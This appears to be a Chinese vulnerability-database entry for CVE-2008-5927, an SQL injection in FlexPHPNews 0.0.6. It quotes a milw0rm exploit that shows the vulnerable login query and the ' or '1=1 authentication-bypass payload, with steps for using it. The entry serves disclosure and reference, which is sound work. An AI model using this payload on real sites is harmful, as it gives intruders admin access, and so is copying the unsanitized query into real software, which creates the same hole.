china-on-site flexphpnews SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117039 漏洞类型 SQL注入
发布时间 2008-12-14 更新时间 2009-01-21
CVE编号 CVE-2008-5927 CNNVD-ID CNNVD-200901-249
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7443
https://www.securityfocus.com/bid/80798
https://cxsecurity.com/issue/WLB-2009010177
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-249
|漏洞详情
FlexPHPNews0.0.6版本中的admin/usercheck.php存在多个SQL注入漏洞。远程攻击者可以借助对admin/index.php的(1)检查用户参数(又称用户名字段)或(2)检查通过参数(又称密码字段),执行任意的SQL指令。
|漏洞EXP
[START]

#########################################################################################
[0x01] Informations:

Script         : FlexPHPNews PRO 0.0.6
Script	       : FlexPHPNews 0.0.6
Download       : http://www.hotscripts.com/jump.php?listing_id=24219&jump_type=1  [0.0.6 Pro]
Download       : http://www.hotscripts.com/jump.php?listing_id=22130&jump_type=1  [0.0.6]
Vulnerability  : Sql Injection (Auth bypass)
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke

#########################################################################################
[0x02] Bug:[Sql Injection (Auth bypass)]
######

Bugged file is: /[path]/admin/usercheck.php

[CODE]

if (!empty($logincheck)){
$sql = "select username,adminid from newsadmin where username='$checkuser' and password='$checkpass'";
$results = $db->select($sql);

[/CODE]


[!] EXPLOIT DETAILS:

 [1] Go to /[path]/admin/index.php
 [2] Put as username and password the following sql code: ' or '1=1
 [3] You are the admin now, bypass succesfull =)

#########################################################################################

[/END]

# milw0rm.com [2008-12-14]
|受影响的产品
China-On-Site Flexphpnews 0.0.6 PRO China-On-Site Flexphpnews 0.0.6
|参考资料

来源:BID
名称:32810
链接:http://www.securityfocus.com/bid/32810
来源:MILW0RM
名称:7443
链接:http://www.milw0rm.com/exploits/7443
来源:SREASON
名称:4927
链接:http://securityreason.com/securityalert/4927
来源:SECUNIA
名称:33114
链接:http://secunia.com/advisories/33114